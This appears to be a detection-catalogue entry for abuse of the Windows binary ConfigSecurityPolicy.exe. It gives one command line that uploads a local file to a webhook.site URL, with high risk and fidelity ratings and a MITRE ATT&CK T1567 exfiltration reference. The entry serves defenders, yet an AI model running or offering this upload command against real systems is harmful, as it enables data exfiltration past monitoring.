Command Line
ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile
Description
Abuse ConfigSecurityPolicy.exe to upload calc.exe to an arbitrary remote location.
Risk
High
Risk Reason
This is an extremely suspicious command and should raise immediate red flags.
Fidelity
High
Fidelity Reason
This type of commandline activity is typically extremely rare in most organizations.
Operating Systems
Killchain Phases
References
MITRE ATT&CK TECHNIQUES
URL: https://attack.mitre.org/techniques/T1567
Description: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.
Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics: